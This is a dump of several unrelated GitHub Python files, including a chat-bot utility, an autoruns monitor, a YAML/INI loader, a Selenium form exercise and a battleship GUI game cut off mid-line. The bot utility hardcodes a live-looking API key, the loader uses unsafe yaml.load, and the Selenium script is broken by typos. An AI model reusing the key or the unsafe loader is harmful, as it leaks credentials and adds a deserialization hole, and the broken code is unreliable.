+{"seq_id":"31100743748","text":"from libsaas.services.github import GitHub\n\nfrom django.conf import settings\n\n\ndef project_name(request):\n    return {\n        \"PROJECT_NAME\": settings.PROJECT_NAME,\n    }\n\n\ndef github(request):\n    try:\n        sa = request.user.social_auth.get()\n        gh = GitHub(sa.tokens)\n        repos = gh.repos().get(type='all')\n        user = gh.user().get()\n    except:\n        user = {}\n        repos = []\n    sorted_repos = sorted(repos, key=lambda repo: -repo['watchers'])\n    return {\n        \"gh_user\": user,\n        \"gh_repos\": sorted_repos,\n    }\n","repo_name":"papaconchoco/djangodash2013","sub_path":"hatersgonnagit/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"49646028766","text":"import random\nimport warnings\nimport itertools\nimport logging\n\nimport requests\nimport bs4\nimport jaraco.functools\n\ntry:\n    import wordnik.swagger\n    import wordnik.WordApi\nexcept (ImportError, SyntaxError):\n    warnings.warn(\"Wordnik failed to import\")\n\nimport pmxbot.phrases\nfrom . import http\n\n\nlog = logging.getLogger(__name__)\n\n\ndef splitem(query):\n    \"\"\"\n    Split a query into choices\n\n    >>> splitem('dog, cat')\n    ['dog', 'cat']\n\n    Disregards trailing punctuation.\n\n    >>> splitem('dogs, cats???')\n    ['dogs', 'cats']\n    >>> splitem('cats!!!')\n    ['cats']\n\n    Allow or\n    >>> splitem('dogs, cats or prarie dogs?')\n    ['dogs', 'cats', 'prarie dogs']\n\n    Honors serial commas\n    >>> splitem('dogs, cats, or prarie dogs?')\n    ['dogs', 'cats', 'prarie dogs']\n\n    Allow choices to be prefixed by some ignored prompt.\n    >>> splitem('stuff: a, b, c')\n    ['a', 'b', 'c']\n    \"\"\"\n    prompt, sep, query = query.rstrip('?.!').rpartition(':')\n\n    choices = query.split(',')\n    choices[-1:] = choices[-1].split(' or ')\n\n    return [choice.strip() for choice in choices if choice.strip()]\n\n\ndef lookup(word):\n    \"\"\"\n    Get a definition for a word (uses Wordnik)\n    \"\"\"\n    # Jason's key - do not abuse\n    key = 'edc4b9b94b341eeae350e087c2e05d2f5a2a9e0478cefc6dc'\n    client = wordnik.swagger.ApiClient(key, 'https://api.wordnik.com/v4')\n    words = wordnik.WordApi.WordApi(client)\n    try:\n        definitions = words.getDefinitions(word, limit=1)\n        definition = definitions[0]\n    except Exception:\n        log.exception(f\"Unhandled exception looking up {word}.\")\n        return\n    return str(definition.text)\n\n\nlookup.provider = 'Wordnik'  # type: ignore\n\n\ndef urban_lookup(word):\n    \"\"\"\n    Return a Urban Dictionary definition for a word or None if no result was\n    found.\n    \"\"\"\n    url = \"http://api.urbandictionary.com/v0/define\"\n    params = dict(term=word)\n    resp = requests.get(url, params=params)\n    resp.raise_for_status()\n    res = resp.json()\n    if not res['list']:\n        return\n    return res['list'][0]['definition']\n\n\ndef lookup_acronym(acronym, limit=3):\n    acronym = acronym.strip().upper().replace('.', '')\n    html = http.open('http://www.acronymfinder.com/%s.html' % acronym).text\n    soup = bs4.BeautifulSoup(html, 'html.parser')\n    nodes = soup.findAll(name='td', attrs={'class': 'result-list__body__meaning'})\n    return [node.text for node in itertools.islice(nodes, limit)]\n\n\n@jaraco.functools.once\ndef load_emergency_compliments():\n    url = 'https://www.dropbox.com/s/2i54optwv59ykm2/compliments.txt?dl=1'\n    doc = http.open(url).text\n    return doc.splitlines()\n\n\ndef passagg(recipient, sender):\n    \"\"\"\n    Generate a passive-aggressive statement to recipient from sender.\n    \"\"\"\n    adj = random.choice(pmxbot.phrases.adjs)\n    if random.choice([False, True]):\n        # address the recipient last\n        lead = \"\"\n        trail = recipient if not recipient else \", %s\" % recipient\n    else:\n        # address the recipient first\n        lead = recipient if not recipient else \"%s, \" % recipient\n        trail = \"\"\n    body = random.choice(pmxbot.phrases.adj_intros) % adj\n    if not lead:\n        body = body.capitalize()\n    msg = f\"{lead}{body}{trail}.\"\n    fw = random.choice(pmxbot.phrases.farewells)\n    return f\"{msg} {fw}, {sender}.\"\n","repo_name":"pmxbot/pmxbot","sub_path":"pmxbot/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"77"}
+{"seq_id":"37504810607","text":"def checkforautorun():\n    try:\n        while True:\n            if gofordeinfection==1:\n                break\n            time.sleep(60)\n            # get autorun date and time\n            commdate='date /T'\n            output = subprocess.check_output(commdate,shell=True)\n            commtime='time /T'\n            output = output.replace('\\r\\n','')\n            nowdate= output\n            output = output+'___'+subprocess.check_output(commtime,shell=True)\n            output = output.replace('\\r\\n','')\n\n            def calculatedatediff(y1,m1,d1,y2,m2,d2):\n                from datetime import date\n                d0 = date(y1, m1, d1)\n                d1 = date(y2, m2, d2)\n                delta = d1 - d0\n                return int(delta.days)\n                pass\n\n            def takeautorunlist():\n                os.system(r'C:\\ransomtesting\\internals'+os.sep+'autorunsc.exe -a * /accepteula > '+r'C:\\ransomtesting'+os.sep+'the2ndwhitelistauto.exe')\n\n            if os.path.exists(r\"C:\\ransomtesting\"+os.sep+'concurrenttime.exe')==False:\n                # check if date is >=15 than time noted in the1stautoodatetime.exe\n                ghb=open(r\"C:\\ransomtesting\"+os.sep+'the1stautodatentime.exe','r')\n                datefirst=ghb.read().strip()\n                ghb.close()\n\n                #Mon 11/13/2017___hh:mm:ss  m/d/y\n                datefirst=datefirst.split('___')[0]\n                datefirst=datefirst.split(' ')[1]\n                datefirst=datefirst.split(os.sep)\n                m1=datefirst[0]\n                d1=datefirst[1]\n                y1=datefirst[2]\n\n                nowdate=nowdate.split(' ')[1]\n                nowdate=nowdate.split(os.sep)\n                m2=nowdate[0]\n                d2=nowdate[1]\n                y2=nowdate[2]\n\n                diffdays=calculatedatediff(y1,m1,d1,y2,m2,d2)\n\n                if diffdays>=15:\n                    dcf=open(r\"C:\\ransomtesting\"+os.sep+'concurrenttime.exe','w')\n                    dcf.write(output)\n                    dcf.close()\n                    takeautorunlist()\n\n            else:\n                ghb=open(r\"C:\\ransomtesting\"+os.sep+'concurrenttime.exe','r')\n                datefirst=ghb.read().strip()\n                ghb.close()\n\n                #Mon 11/13/2017___hh:mm:ss  m/d/y\n                datefirst=datefirst.split('___')[0]\n                datefirst=datefirst.split(' ')[1]\n                m1=datefirst[0]\n                d1=datefirst[1]\n                y1=datefirst[2]\n\n                nowdate=nowdate.split(' ')[1]\n                nowdate=nowdate.split(os.sep)\n                m2=nowdate[0]\n                d2=nowdate[1]\n                y2=nowdate[2]\n\n                diffdays=calculatedatediff(y1,m1,d1,y2,m2,d2)\n\n                if diffdays>=15:\n                    dcf=open(r\"C:\\ransomtesting\"+os.sep+'concurrenttime.exe','w')\n                    dcf.write(output)\n                    dcf.close()\n                    takeautorunlist()\n\n\n\n\n\n\n                \n\n\n            \n            \"\"\"\n            try:\n                os.system(r'mkdir \"C:\\ransomtesting\"')\n            except:\n                pass\n            f=open(r\"C:\\ransomtesting\"+os.sep+'the1stautodatentime.exe','w')\n            #f=open('C:\\Windows\\System32'+os.sep+'ransomtesting'+os.sep+'the1stautodatentime.exe','w')\n            f.write(output)\n            f.close()\n            \"\"\"\n            pass\n    except:\n        pass        ","repo_name":"handafox/GOD-Software","sub_path":"codestogoogledrive_Aman_Code_Trial_Version/testautorun.py","file_name":"testautorun.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2483732841","text":"#!/usr/bin/env python3\n\n\"\"\"\nFile loader factory\n\nThe factory uses a file's extension to find, instantiate and return a loader object that handles that file type.\n\nTODO:\n    Look into making the loader objects singletons; they probably don't need instantiated each time.\n\"\"\"\n\nfrom abc import ABCMeta, abstractmethod\nimport yaml\nimport configparser\n\n__all__ = ['LoaderError', 'NoLoaderFoundError', 'NoTargetFileExtensionsError',\n           'LoaderFactory', 'Loader', 'YamlLoader', 'IniLoader']\n\n\nclass LoaderError(Exception):\n    def __init__(self, msg=''):\n        \"\"\"\n        Base class for Loader exceptions.\n\n        :param msg: Human readable error message describing the exception.\n        \"\"\"\n        self.msg = msg\n        print(self.msg)\n        Exception.__init__(self, msg)\n\n    def __repr__(self):\n        return self.msg\n\n    __str__ = __repr__\n\n\nclass NoLoaderFoundError(LoaderError):\n    def __init__(self, file_extension):\n        \"\"\"\n        Exception thrown when no loader is found for a targeted file type.\n\n        :param file_extension: The target file extension without a loader.\n        \"\"\"\n        self.file_extension = file_extension\n        self.msg = 'No loader found for file extension `{}` in LoaderFactory.'.format(file_extension)\n        super().__init__(self.msg)\n\n\nclass NoTargetFileExtensionsError(LoaderError, AttributeError, ValueError):\n    def __init__(self):\n        \"\"\"\n           Exception thrown when an empty `target_file_extensions` value is passed to the LoaderFactory's constructor.\n        \"\"\"\n        self.msg = 'The LoaderFactory\\'s `target_file_extensions` attribute must not be empty.'\n        super().__init__(self.msg)\n\n\nclass LoaderFactory:\n    def __init__(self, target_file_exts):\n        \"\"\"\n        Loader factory class.\n\n        Uses a file's extension to find, instantiate and return a loader object that handles that file type.\n\n        :param target_file_exts: An iterable type containing the file extensions targeted by the loader factory.\n            Cannot be left empty. If a single file extension is passed as a string it will be converted to a list.\n        \"\"\"\n        self.target_file_exts = target_file_exts\n\n    @property\n    def target_file_exts(self):\n        \"\"\"\n        Getter for the `target_file_exts` attribute.\n        \"\"\"\n        return self._target_file_exts\n\n    @target_file_exts.setter\n    def target_file_exts(self, target_file_exts):\n        \"\"\"\n        Setter for the `target_file_exts` attribute.\n\n        :param target_file_exts: An iterable type containing the file extensions targeted by the loader factory.\n            Cannot be left empty. If a single file extension is passed as a string it will be converted to a list.\n        \"\"\"\n        # Raise an exception if target_file_exts is empty.\n        if not target_file_exts:\n            raise NoTargetFileExtensionsError()\n        # Convert target_file_exts to a list if it's a string.\n        elif isinstance(target_file_exts, str):\n            target_file_exts = [target_file_exts]\n        self._target_file_exts = target_file_exts\n\n    def get_loader(self, file_ext):\n        \"\"\"\n        Get the loader associated with a particular file extension.\n\n        :param file_ext: The file extension to find a loader for.\n        :return: Returns an instance of the Loader subclass associated with the file extension.\n        :raise NoLoaderFoundException: Raised when no loader is found for a file extension specified\n            in the factory's `target_file_exts` attribute.\n        \"\"\"\n        if file_ext not in self.target_file_exts:\n            return None\n        for loader in Loader.__subclasses__():\n            if loader.check_extension_supported(file_ext):\n                return loader()\n        # Raise an exception if no loaders were found to handle the file.\n        raise NoLoaderFoundError(file_ext)\n\n\nclass Loader(metaclass=ABCMeta):\n    \"\"\"\n    Base class for all file loaders.\n\n    :var cls._SUPPORTED_EXTS: The file extensions supported by the loader.\n    \"\"\"\n    _SUPPORTED_EXTS = None\n\n    @abstractmethod\n    def load(self, path):\n        \"\"\"\n        Abstract load method for file loaders\n\n        :param path: The path to the file to be loaded.\n        :return: The data loaded from the file.\n        \"\"\"\n        pass\n\n    @classmethod\n    def check_extension_supported(cls, file_ext):\n        \"\"\"\n        Use a file's extension to check if a loader supports it.\n\n        :param file_ext: The file extension to check against.\n        :return: A boolean indicating whether the loader supports the file extension.\n        \"\"\"\n        if file_ext in cls._SUPPORTED_EXTS:\n            return True\n\n\nclass YamlLoader(Loader):\n    \"\"\"\n    Loader handling Yaml files\n    \"\"\"\n    _SUPPORTED_EXTS = ['.yml', '.yaml']\n\n    def load(self, path):\n        \"\"\"\n        Load .yml and .yaml files.\n\n        :param path: The path to the file to be loaded.\n        :return: A dictionary containing the data loaded from the file.\n        \"\"\"\n        with open(path) as stream:\n            return yaml.load(stream)\n\n\nclass IniLoader(Loader):\n    \"\"\"\n    Loader handling config and ini files.\n    \"\"\"\n    _SUPPORTED_EXTS = ['.ini', '.config']\n\n    def __init__(self):\n        \"\"\"\n        :ivar self.config: An instance of the `configparser` module's `ConfigParser` class.\n        \"\"\"\n        self.config = configparser.ConfigParser()\n\n    def load(self, path):\n        \"\"\"\n        Load .config and .ini files.\n\n        :param path: The path to the file to be loaded.\n        :return: A dictionary containing the data loaded from the file.\n        \"\"\"\n        try:\n            self.config.read(path)\n        # Add a section header to the file if it doesn't have one and read it again.\n        except configparser.MissingSectionHeaderError:\n            self._add_section_head(path)\n\n        return {\n            section: {\n                option: self.config.get(section, option) for option in self.config.options(section)\n            } for section in self.config.sections()\n        }\n\n    def _add_section_head(self, path):\n        \"\"\"\n        Add a section header to the file if it doesn't have one and read it again.\n        \"\"\"\n        with open(path, 'r') as stream:\n            self.config.read_string('[__headless__]\\n' + stream.read())\n","repo_name":"chrBrd/loader","sub_path":"loaders/loaders.py","file_name":"loaders.py","file_ext":"py","file_size_in_byte":6285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38388938171","text":"from selenium import webdriver\nfrom selenium.webriver.common.by import By\nfrom selenium.webriver.common.keys import Keys\n\n# Keep Chrome browser open after program finishes\nchrome_options = webdriverChromeOptions()\nchrome_options.add_experimental_option(\"detach\", True)\n\ndriver = webdriver.get(\"https.secure-retreat-92358.herokuapp.com\")\n\nfirst_name = driver.find_element_by_name(\"fName\")\nfirst_name.send_keys(\"Negar\")\n\nlast_name = driver.find_element_by_name(\"lName\")\nlast_name.send_keys(\"Norouzi\")\n\nemail = driver.find_element_by_name(\"email\")\nemail.send_keys(\"python@gmail.com\")\n\nsign_up_button = driver.find_element_by_css_selector(\"form button\")\nsign_up_button.click()\n\ndriver.quite()\n","repo_name":"negaryuki/100DaysofCode","sub_path":"Day48/exercise03.py","file_name":"exercise03.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"7124001665","text":"from vis_autselect.classifiedArray import classifiedArray\nfrom vis_autselect.plotter import plot_confusion_matrix\nimport numpy as np\n\nmatch_data = {\n        'ROC' : [['ROC'], ['Ground Truth Values', 'Confidence Scores']],\n        'Confusion Matrix' :[ ['Confusion Matrix']],\n        'Precision Recall Curve' : [['Ground Truth Values', 'Predictions']]\n    }\n\nclass Visualizer:\n\n    def __init__(self):\n        self.data_classified = list()\n        \n\n    # Function which selects the type of the input array. \n    def select(self, data):\n        if(isinstance(data, np.ndarray)):\n                data = data.tolist()\n        data = organiseInList(data)\n        data = standardize_precition_or_test_values(data) \n        self.data_classified.append(classify(data))\n\n    def select_annoted(self = None, test= None, pred = None, score = None, confusion_matrix = None, roc = None):\n        self.data_classified.extend([item for item in locals().values() if type(item) == list])\n\n    def input_dict(self, data_dict):\n        #data_dict = {k : data.tolist() if isinstance(data, np.ndarray) else data for k, data in data_dict.values}\n        #print(data_dict)\n        # Change dict to classifiedArraytype\n        self.data_classified.extend([classifiedArray(item[1], [item[0]])for item in data_dict.items()])\n        \n\n    # Returns the classified data.\n    def get_classified_data(self):\n        evaluate_classification(self.data_classified)\n        return self.data_classified\n\n    # Describes tha classified and not classified arrays.\n    def info(self):\n        if len(self.data_classified) == 0: \n            print(\"No data has been entered.\")\n        else:\n            # Find data if is correctly classified.\n            availble_data = [x.type[0] for x in self.data_classified if len(x.type) < 2]\n            print(\"The following arrays have beem classified: \", availble_data, \"\\n\")\n\n            not_classified = [x for x in self.data_classified if len(x.type) > 1]\n            for item in not_classified:\n                print(\"For the given array a decision between the types: \", item.type, \" could have not been made.\")\n                print(\"Input Data: \", item.data, \"\\n\") \n\n    # Deletes all the entered data.\n    def delete_data(self):\n        self.data_classified = list()\n\n    def visualize(self):\n        possible_vis = self.find_possible_vis()\n        visualizations = list()\n\n        for vis in possible_vis.items():\n            visualizations.append(self.plot(vis))\n    \n        return visualizations\n\n    def find_possible_vis(self):\n        keys = [item.type[0] for item in self.data_classified if len(item.type) < 2]\n\n        possible_vis = dict()\n\n        for item in match_data.items():\n            matches = item[1]\n            vis_type = item[0]\n            for match in matches:\n                if  all(elem in keys  for elem in match):\n                    possible_vis.update({vis_type : match})\n        \n        return possible_vis\n\n    def plot(self, vis):\n        vis_name = vis[0]\n        vis_needed_data = vis[1]\n        \n        vis_data = self.get_data(vis_needed_data)\n\n        print(vis_name)\n        print(vis_data)\n\n        if vis_name == \"Confusion Matrix\":\n            return plot_confusion_matrix(vis_needed_data)\n\n    def get_data(self, vis_needed_data):\n        export_data = list()\n        for search in vis_needed_data:\n            export_data.append([data.data for data in self.data_classified if data.type[0] == search])\n        return export_data\n        \n\n\n\n# Classifys the data in dict\ndef classify(data):\n    return classifiedArray(data, classify_types(data))\n\ndef classify_types(data):\n    if contains_type(list, data):\n        if len(data) == 2:\n            if contains_type_deep(int, data):\n                return['Confusion Matrix'] \n            if contains_type_deep(float, data):\n                return ['ROC']\n    else:\n        if contains_type(float, data):\n            return ['Confidence Scores']\n        elif contains_type(bool, data) or contains_type(int, data) or contains_type(str, data):\n            return ['Ground Truth Values', 'Predictions']\n        else:\n            raise Exception(\"No type found\")\n\n# Wraps single list in another list on top\ndef organiseInList(data):\n    if any(isinstance(item, list) for item in data):\n        return data\n    else: \n        return data\n\n\ndef standardize_precition_or_test_values(arr):\n    if all(isinstance(item, bool) for item in arr):\n        return (['1' if item  else '2' for item in arr])\n    elif all(isinstance(item, int) for item in arr):\n        return [str(item) for item in arr]\n    else:\n        return arr\n\ndef contains_type_deep(type, data):\n    if all(isinstance(item, list) for item in data):\n        return all(isinstance(item, type) for array in data for item in array)\n    else: \n        return all(isinstance(item, type) for item in data)\n\ndef contains_type(type, data):\n    return all(isinstance(item, type) for item in data)\n\n\ndef evaluate_classification(data):\n    exact_guesses = len([x for x in data if len(x.type) < 2])\n    amount_inputs = len(data)\n    print(exact_guesses, 'out of ', amount_inputs, 'inputed array can be classified')\n\n\n\n    \n\n\n    ","repo_name":"vali101/vis-autoselect-ml","sub_path":"vis_autselect/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":5178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10413180337","text":"from PIL import Image, ImageDraw, ImageFont\nfrom HA.settings import BASE_DIR\nimport os\nimport qrcode\nfrom os.path import exists\nimport secrets\nimport string\n\nWEBSITE = 'http://hokimakademiyasi.uz/login'\nFONT = os.path.join(BASE_DIR, 'home', 'packages', 'default_certificate', 'MTCORSVA.TTF')\n# FONT = '/home/hokim_akademy/backend/app/home/packages/default_certificate/MTCORSVA.ttf'\nCERTIFICATE = os.path.join(BASE_DIR, 'home', 'packages', 'default_certificate', 'certificate.jpg')\n\nCER_DIR = '/mnt/volume_nyc1_01/academy/'\n\ndef generate_name():\n    alphabet = string.ascii_letters + string.digits\n    password = ''.join(secrets.choice(alphabet) for i in range(5))\n\n    return password\n\n\ndef generate_qrcode(username, promocode):\n    qr = qrcode.QRCode(\n        version=1,\n        error_correction=qrcode.constants.ERROR_CORRECT_L,\n        box_size=12,\n        border=2,\n    )\n    qr.add_data(f\"username: {username}\\npassword: {promocode}\\nwebsite: {WEBSITE}\")\n    qr.make(fit=True)\n\n    img = qr.make_image(fill_color=\"black\", back_color=\"white\")\n    img.save(os.path.join(BASE_DIR, 'home', 'packages', 'default_certificate', 'qrcode.png'))\n    return os.path.join(BASE_DIR, 'home', 'packages', 'default_certificate', 'qrcode.png')\n\n\ndef certificate_generate(student):\n    text_y_position = 1300\n    img = Image.open(CERTIFICATE, mode='r')\n    image_width = img.width\n    image_height = img.height\n    # f = open(FONT, 'rb')\n    draw = ImageDraw.Draw(img)\n    font = ImageFont.truetype(FONT, size=150)\n    qrcode_file = generate_qrcode(student.username, student.promo_code)\n    img2 = Image.open(qrcode_file, mode='r')\n    qrcode_x = 880\n    qrcode_y = 1900\n    text_width = draw.textlength(student.full_name, font=font)\n    draw.text((\n        (image_width + 1370 - text_width - (image_width - 3200)) / 2,\n        text_y_position\n    ),\n        student.full_name, font=font, fill=\"#0e89c4\"\n    )\n\n    img.paste(img2, (qrcode_x, qrcode_y))\n    if exists(os.path.join(CER_DIR, 'media', 'certificate')) == False:\n        os.makedirs(os.path.join(CER_DIR, 'media', 'certificate'))\n    file_name = f\"{student.full_name}.jpg\"\n    save_img_path = os.path.join(CER_DIR, 'media', 'certificate', file_name)\n    if exists(save_img_path):\n        while True:\n            file_name = f\"{student.full_name}{generate_name()}.jpg\"\n            save_img_path = os.path.join(CER_DIR, 'media', 'certificate', file_name)\n            if exists(save_img_path):\n                continue\n            else:\n                break\n    img.save(save_img_path)\n\n    return os.path.join('certificate', file_name)\n","repo_name":"JavokhirMamirov/Hokim-academy-version-1.2","sub_path":"home/packages/certificate_generate.py","file_name":"certificate_generate.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25272627357","text":"import PySimpleGUI as sg # sg : simple gui\nfrom repository.image_repository import ImageRepository # Repository of images as base 64\nfrom exceptions.exception import * # All the Exception Classes\nfrom players.database import Database\nfrom battleship.ships import * # All the ship classes\nfrom players.player import Player\nfrom players.AI import AI\nfrom players.BUTTSBasic import Basic\nfrom players.BUTTS import Advanced\n\n\n'''***********************************************\n\tclass Game:\n\t\t-Singleton Design: Only one instance allowed\n***********************************************'''\n\nclass Game:\n\n\t__instance = None # Instance of class.\n\tSHIP_NAMES = [\"patrol\", \"submarine\", \"destroyer\", \"battleship\", \"carrier\"]\n\n\tdef __init__(self): #Throws an exception at creation of a new instance\n\t\tprint(\"Create Game Object\")\n\n\t\tif Game.__instance == None: # Does not exist\n\t\t\tGame.__instance = self\n\t\telse:\n\t\t\traise Exception(\"Can not create multiple instances of class: Game\")\n\n\t\t'''**************************\n\t\t\tGame Variables\n\t\t**************************'''\n\t\tself.player1 = None\n\t\tself.player2 = None\n\t\tself.turn = None\n\n\t\tself.player1turns = 0\n\t\tself.player2turns = 0\n\t\tself.whowon = None\n\t\tself.window =  None\n\n\t@staticmethod #retrieves the current instance\n\tdef get_instance():\n\t\tif Game.__instance == None:\n\t\t\tGame()\n\t\treturn Game.__instance\n\n\t@staticmethod # STARTS THE APPLICATION PROCESS WINDOW (init window)\n\tdef new_game(self):\n\t\tif Game.__instance == None:\n\t\t\tGame()\n\t\telse:\n\t\t\tif self.window != None:\n\t\t\t\tself.window.close()\n\n\n\t\tself.window = sg.Window(\"Battleship\", self.create_init_menu_layout(), icon = \"assets/battleship.ico\", margins = (30, 30))\n\n\n\t@staticmethod # ENDS THE APPLICATION PROCESS WINDOW\n\tdef end_game(self):\n\t\tif Game.__instance == None:\n\t\t\tself.window.close()\n\n\tdef new_player_vs_basic(self): # initializes the game variables and window to match the style of game.\n\t\tprint( \"Selected game mode: Player vs Basic AI\")\n\t\tself.player1 = Player()\n\t\tself.player2 = Basic()\n\t\tself.turn = \"position\"\n\n\t\tself.window.close()\n\t\tself.window = sg.Window(\"Battleship\", self.create_ship_placement_layout(), icon = \"assets/battleship.ico\", margins = (30, 30))\n\t\tself.player2.create_board()\n\t\tself.player1turns = 0\n\t\tself.player2turns = 0\n\t\tself.whowon = None\n\n\n\tdef new_player_vs_advanced(self): # initializes the game variables and window to match the style of game.\n\t\tprint( \"Selected game mode: Player vs Advanced AI\")\n\t\tself.player1 = Player()\n\t\tself.player2 = Advanced()\n\t\tself.turn = \"position\"\n\n\t\tself.window.close()\n\t\tself.window = sg.Window(\"Battleship\", self.create_ship_placement_layout(), icon = \"assets/battleship.ico\", margins = (30, 30))\n\t\tself.player2.create_board()\n\t\tself.player1turns = 0\n\t\tself.player2turns = 0\n\t\tself.whowon = None\n\n\n\tdef new_basic_vs_advanced(self): # initializes the game variables and window to match the style of game.\n\t\tprint( \"Selected game mode: Basic AI vs Advanced AI\")\n\t\tself.player1 = Basic()\n\t\tself.player2 = Advanced()\n\t\tself.turn = \"battle\"\n\t\tself.player1.create_board()\n\t\tself.player2.create_board()\n\t\tDatabase.get_instance().save_board(self.player1.get_fleet())\n\n\t\tself.window.close()\n\t\tself.window = sg.Window(\"Battleship\", self.create_ai_battle_layout(), icon = \"assets/battleship.ico\", margins = (30, 30), finalize=True)\n\t\tself.toggle_both_board_buttons(True)\n\t\tself.player1turns = 0\n\t\tself.player2turns = 0\n\t\tself.whowon = None\n\n\tdef game_over(self, who_won): # Ends a game that the user plays but not the application process.\n\t\tself.window.close()\n\t\tself.window = sg.Window(\"Battleship\", self.create_game_over_layout(who_won), icon = \"assets/battleship.ico\", margins = (30, 30), finalize=True)\n\t\tDatabase.get_instance().update_game()\n\n\t\t# Print Out Statistics:\n\t\tprint(\"\\n\\n*********************************\\n\")\n\t\tprint(\"Statistics:\\n Who Won? \" + str(self.whowon) + \"\\n Player 1 turn count: \" + str(self.player1turns) + \"\\n Player 2 turn count: \" + str(self.player2turns))\n\t\tprint(\"*********************************\\n\")\n\n\tdef next_turn(self): # sends to the next play (Used only in player vs AI games)\n\t\tif self.turn == \"position\":\n\t\t\tif self.player1.finish_board_placement():\n\t\t\t\tDatabase.get_instance().save_board(self.player1.get_fleet())\n\t\t\t\tself.turn = \"play\"\n\t\t\telse:\n\t\t\t\traise BoardNotCompleteException(\"Player has not finished placing all ships\")\n\n\t'''*******************************************\n\t\tLayout Methods\n\n\t\t\tToggle methods:\n\t\t\t--------------------\n\t\t\t- toggle_player_board_buttons\n\t\t\t- toggle_player_board_buttons\n\t\t\t- toggle_both_board_buttons\n\n\t\t\tEvent Changes:\n\t\t\t--------------------\n\t\t\t- update_ui\n\n\t\t\tUtility:\n\t\t\t--------------------\n\t\t\t- __create_grid\n\n\t\t\tEntire Layout Forms:\n\t\t\t--------------------\n\t\t\t- create_init_menu_layout\n\t\t\t- create_ship_placement_layout\n\t\t\t- create_game_layout\n\t\t\t- create_ai_battle_layout\n\t\t\t- create_game_over_layout\n\t*******************************************'''\n\tdef toggle_ship_placement_buttons(self, value):\n\t\tfor button_label in Game.SHIP_NAMES:\n\t\t\tself.window.FindElement(button_label).Update(disabled=value)\n\n\tdef toggle_player_board_buttons(self, value):\n\t\tfor row in range(Player.BOARD_SIZE):\n\t\t\tfor col in range(Player.BOARD_SIZE):\n\t\t\t\tself.window.FindElement(\"Player \" + str((row,col))).Update(disabled=value)\n\n\tdef toggle_both_board_buttons(self, value):\n\t\tfor row in range(Player.BOARD_SIZE):\n\t\t\tfor col in range(Player.BOARD_SIZE):\n\t\t\t\tself.window.FindElement(\"player1 \" + str((row,col))).Update(disabled=value)\n\t\t\t\tself.window.FindElement(\"player2 \" + str((row,col))).Update(disabled=value)\n\n\tdef update_ui(self):\n\t\tif self.turn == \"position\":\n\t\t\tself.window.close()\n\t\t\tself.window = sg.Window(\"Battleship\", self.create_ship_placement_layout(), icon = \"assets/battleship.ico\", margins = (30, 30))\n\t\telif self.turn == \"play\":\n\t\t\tself.window.close()\n\t\t\tself.window = sg.Window(\"Battleship\", self.create_game_layout(), icon = \"assets/battleship.ico\", margins = (30, 30), finalize=True)\n\t\t\tself.toggle_player_board_buttons(True)\n\t\telif self.turn == \"battle\":\n\t\t\tself.window.close()\n\t\t\tself.window = sg.Window(\"Battleship\", self.create_ai_battle_layout(), icon = \"assets/battleship.ico\", margins = (30, 30), finalize=True)\n\t\t\tself.toggle_both_board_buttons(True)\n\n\tdef __create_grid(self, board, type_of_button):\n\t\tboard_layout = [[sg.Button('', image_data=board[row][col], button_color=(sg.theme_background_color(), sg.theme_background_color()), size = (4,2), pad=(0,0), key=type_of_button + str((row,col))) for col in range(Player.BOARD_SIZE)] for row in range(Player.BOARD_SIZE)]\n\t\treturn board_layout\n\n\tdef create_init_menu_layout(self): # INITIAL Layout at begin of game.\n\t\t# Menu Bar at the top. We can add other options for how we want to see stuff.\n\t\tmenu_bar = [ [\"Game\", [\"New Game\", \"Exit Game\"]]]\n\n\t\t# Start what the window will look like:\n\t\tlayout = [[sg.Menu(menu_bar, tearoff = False, key=\"-MENU-\")],\n\t\t\t\t  [sg.Text(\"Main Menu\")],\n\t\t\t\t  [sg.Image('assets/battleship_title.png', size=(600,200))]]\n\n\t\tbutton_selection_layout = [[sg.Button('You vs Basic AI', key=\"basic\")],\n\t\t\t\t\t\t\t\t   [sg.Button('You vs Advanced AI', key=\"advanced\")],\n\t\t\t\t\t\t\t\t   [sg.Button('Watch the AI\\'s battle it out', key=\"battle\")]]\n\t\tlayout += button_selection_layout\n\t\treturn layout\n\n\n\tdef create_ship_placement_layout(self): # placing ships for the player.\n\t\t# Menu Bar at the top. We can add other options for how we want to see stuff.\n\t\tmenu_bar = [ [\"Game\", [\"New Game\", \"Exit Game\"]]]\n\n\t\tlayout = [[sg.Menu(menu_bar, tearoff = False, key=\"-MENU-\")],\n\t\t\t\t  [sg.Text(\"Board Placements\")],\n\t\t\t\t  [sg.Image('assets/battleship_title.png', size=(600,200))],\n\t\t\t\t  [sg.Text(\"Place each ship on the board by clicking the respected button\")]]\n\n\t\tplayer_board_layout = [[sg.Text(\"Player Board:\")]]\n\t\tplayer_board_layout += self.__create_grid(self.player1.get_board(), \"Player \") # Initializes each button with key \"Player (row,col)\"\n\n\t\tship_button_layout = [[sg.Button('', image_data=ImageRepository.get_patrol_image(), button_color=(sg.theme_background_color(),sg.theme_background_color()), pad=(0,0), key=\"patrol\")],\n\t\t\t\t\t  [sg.Button('', image_data=ImageRepository.get_submarine_image(), button_color=(sg.theme_background_color(),sg.theme_background_color()), pad=(0,0), key=\"submarine\")],\n\t\t\t\t\t  [sg.Button('', image_data=ImageRepository.get_destroyer_image(), button_color=(sg.theme_background_color(),sg.theme_background_color()), pad=(0,0), key=\"destroyer\")],\n\t\t\t\t\t  [sg.Button('', image_data=ImageRepository.get_battleship_image(), button_color=(sg.theme_background_color(),sg.theme_background_color()), pad=(0,0), key=\"battleship\")],\n\t\t\t\t\t  [sg.Button('', 